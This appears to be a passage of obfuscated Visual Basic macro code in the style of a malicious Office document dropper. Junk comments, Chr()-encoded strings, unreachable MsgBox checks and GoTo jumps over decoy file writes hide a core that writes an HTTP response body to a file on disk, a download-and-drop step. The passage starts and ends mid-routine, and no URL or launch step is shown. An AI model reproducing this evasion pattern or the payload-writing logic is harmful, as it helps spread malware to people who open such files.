- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 1898 < 36 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(113) & Chr(101) & Chr(103) & Chr(103) & Chr(119) & Chr(121) & Chr(114) & Chr(103) & Chr(52) & Chr(54))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(108) & Chr(108) & Chr(108) & Chr(102) & Chr(114) & Chr(98) & Chr(110) & Chr(117) & Chr(52) & Chr(49) & Chr(54) & Chr(50)) = Len(Chr(102) & Chr(115) & Chr(107) & Chr(108) & Chr(99) & Chr(114) & Chr(102) & Chr(109)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Loop
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo jtmeizts
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim wnzcwxxr As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(70) & Chr(86) & Chr(84) & Chr(79) & Chr(74) & Chr(79) & Chr(46) & Chr(68) & Chr(88) & Chr(84) For Binary As 44
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 712944 = 712944 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 7937 < 45 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(117) & Chr(114) & Chr(97) & Chr(107) & Chr(110) & Chr(116) & Chr(102) & Chr(107) & Chr(56) & Chr(54))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(116) & Chr(118) & Chr(117) & Chr(117) & Chr(104) & Chr(117) & Chr(103) & Chr(108) & Chr(56) & Chr(55) & Chr(55) & Chr(55)) = Len(Chr(121) & Chr(122) & Chr(112) & Chr(119) & Chr(98) & Chr(121) & Chr(103) & Chr(110)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #44, , wnzcwxxr
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 592286 = 592286 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 8977 < 84 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(97) & Chr(115) & Chr(101) & Chr(112) & Chr(97) & Chr(115) & Chr(102) & Chr(101) & Chr(57) & Chr(52))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(119) & Chr(117) & Chr(99) & Chr(108) & Chr(117) & Chr(108) & Chr(100) & Chr(112) & Chr(57) & Chr(56) & Chr(50) & Chr(55)) = Len(Chr(101) & Chr(119) & Chr(121) & Chr(103) & Chr(101) & Chr(112) & Chr(118) & Chr(111)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #44
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 937156 = 937156 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 3971 < 85 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(103) & Chr(102) & Chr(114) & Chr(108) & Chr(118) & Chr(114) & Chr(115) & Chr(112) & Chr(57) & Chr(56))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(116) & Chr(118) & Chr(114) & Chr(97) & Chr(98) & Chr(102) & Chr(101) & Chr(107) & Chr(54) & Chr(50) & Chr(52) & Chr(52)) = Len(Chr(117) & Chr(122) & Chr(105) & Chr(103) & Chr(105) & Chr(115) & Chr(97) & Chr(98)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- jtmeizts:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 458971 = 458971 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 7545 < 78 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(99) & Chr(115) & Chr(111) & Chr(99) & Chr(97) & Chr(118) & Chr(104) & Chr(106) & Chr(57) & Chr(57))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(116) & Chr(122) & Chr(100) & Chr(119) & Chr(112) & Chr(106) & Chr(115) & Chr(111) & Chr(56) & Chr(51) & Chr(56) & Chr(53)) = Len(Chr(98) & Chr(119) & Chr(113) & Chr(97) & Chr(114) & Chr(99) & Chr(118) & Chr(99)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- wvavhsolbur = ocpvmgeelcx.responsebody
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo fwrjwysy
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim lhsqoaec As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(83) & Chr(89) & Chr(67) & Chr(72) & Chr(86) & Chr(81) & Chr(46) & Chr(83) & Chr(69) & Chr(67) For Binary As 37
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 111975 = 111975 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 8583 < 41 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(118) & Chr(116) & Chr(107) & Chr(100) & Chr(115) & Chr(116) & Chr(103) & Chr(102) & Chr(57) & Chr(51))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(111) & Chr(116) & Chr(102) & Chr(100) & Chr(118) & Chr(119) & Chr(108) & Chr(114) & Chr(50) & Chr(56) & Chr(53) & Chr(54)) = Len(Chr(112) & Chr(105) & Chr(107) & Chr(98) & Chr(121) & Chr(109) & Chr(107) & Chr(112)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #37, , lhsqoaec
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 843886 = 843886 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 8971 < 83 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(122) & Chr(115) & Chr(110) & Chr(122) & Chr(109) & Chr(114) & Chr(122) & Chr(108) & Chr(51) & Chr(56))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(111) & Chr(97) & Chr(114) & Chr(97) & Chr(101) & Chr(120) & Chr(118) & Chr(113) & Chr(57) & Chr(56) & Chr(50) & Chr(49)) = Len(Chr(114) & Chr(109) & Chr(101) & Chr(121) & Chr(120) & Chr(122) & Chr(113) & Chr(118)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #37
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 576822 = 576822 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 8458 < 59 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(108) & Chr(100) & Chr(108) & Chr(117) & Chr(116) & Chr(103) & Chr(102) & Chr(111) & Chr(51) & Chr(57))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(112) & Chr(118) & Chr(109) & Chr(103) & Chr(121) & Chr(118) & Chr(101) & Chr(107) & Chr(57) & Chr(51) & Chr(57) & Chr(56)) = Len(Chr(113) & Chr(97) & Chr(118) & Chr(101) & Chr(103) & Chr(99) & Chr(101) & Chr(118)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- fwrjwysy:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 797296 = 797296 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 7614 < 93 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(120) & Chr(103) & Chr(120) & Chr(119) & Chr(98) & Chr(97) & Chr(98) & Chr(108) & Chr(50) & Chr(52))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(114) & Chr(116) & Chr(98) & Chr(109) & Chr(105) & Chr(108) & Chr(109) & Chr(113) & Chr(49) & Chr(56) & Chr(55) & Chr(55)) = Len(Chr(98) & Chr(118) & Chr(118) & Chr(110) & Chr(122) & Chr(98) & Chr(105) & Chr(98)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- zgbpbucckrp = FreeFile
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open kxqaxtgwbnh For Binary As #zgbpbucckrp
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo qpsicxsw
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim jymepjed As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(75) & Chr(86) & Chr(75) & Chr(85) & Chr(68) & Chr(66) & Chr(46) & Chr(81) & Chr(81) & Chr(70) For Binary As 54
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 719345 = 719345 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 7999 < 45 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(117) & Chr(121) & Chr(115) & Chr(105) & Chr(104) & Chr(110) & Chr(112) & Chr(112) & Chr(56) & Chr(55))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(116) & Chr(97) & Chr(107) & Chr(118) & Chr(121) & Chr(122) & Chr(100) & Chr(115) & Chr(56) & Chr(56) & Chr(52) & Chr(49)) = Len(Chr(121) & Chr(116) & Chr(109) & Chr(113) & Chr(102) & Chr(110) & Chr(113) & Chr(107)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #54, , jymepjed
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 485964 = 485964 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 7815 < 72 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(109) & Chr(122) & Chr(109) & Chr(110) & Chr(115) & Chr(103) & Chr(121) & Chr(116) & Chr(56) & Chr(50))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(102) & Chr(120) & Chr(103) & Chr(111) & Chr(107) & Chr(119) & Chr(116) & Chr(115) & Chr(56) & Chr(54) & Chr(53) & Chr(53)) = Len(Chr(99) & Chr(112) & Chr(120) & Chr(114) & Chr(102) & Chr(100) & Chr(103) & Chr(115)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Close #54
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 843857 = 843857 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 3129 < 86 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(102) & Chr(108) & Chr(114) & Chr(115) & Chr(116) & Chr(118) & Chr(115) & Chr(108) & Chr(57) & Chr(57))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(114) & Chr(114) & Chr(121) & Chr(109) & Chr(117) & Chr(117) & Chr(122) & Chr(122) & Chr(54) & Chr(51) & Chr(56) & Chr(51)) = Len(Chr(121) & Chr(105) & Chr(111) & Chr(117) & Chr(103) & Chr(116) & Chr(97) & Chr(105)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- qpsicxsw:
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 197136 = 197136 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 3936 < 33 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(122) & Chr(113) & Chr(117) & Chr(101) & Chr(102) & Chr(98) & Chr(116) & Chr(119) & Chr(53) & Chr(52))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(111) & Chr(110) & Chr(112) & Chr(122) & Chr(120) & Chr(108) & Chr(110) & Chr(100) & Chr(52) & Chr(56) & Chr(56) & Chr(54)) = Len(Chr(101) & Chr(108) & Chr(105) & Chr(105) & Chr(106) & Chr(99) & Chr(102) & Chr(110)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #zgbpbucckrp, , wvavhsolbur
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- GoTo eubugyes
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Dim oeizanwr As String
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Open Chr(70) & Chr(67) & Chr(83) & Chr(85) & Chr(88) & Chr(82) & Chr(46) & Chr(67) & Chr(71) & Chr(80) For Binary As 44
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 322185 = 322185 + 1 Then End
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If 6821 < 24 Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(121) & Chr(111) & Chr(97) & Chr(99) & Chr(119) & Chr(107) & Chr(111) & Chr(100) & Chr(49) & Chr(52))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- If Len(Chr(99) & Chr(108) & Chr(101) & Chr(114) & Chr(99) & Chr(97) & Chr(118) & Chr(120) & Chr(55) & Chr(54) & Chr(54) & Chr(50)) = Len(Chr(113) & Chr(97) & Chr(99) & Chr(97) & Chr(97) & Chr(100) & Chr(110) & Chr(106)) Then
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- End If
- 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
- Put #44, , oeizanwr
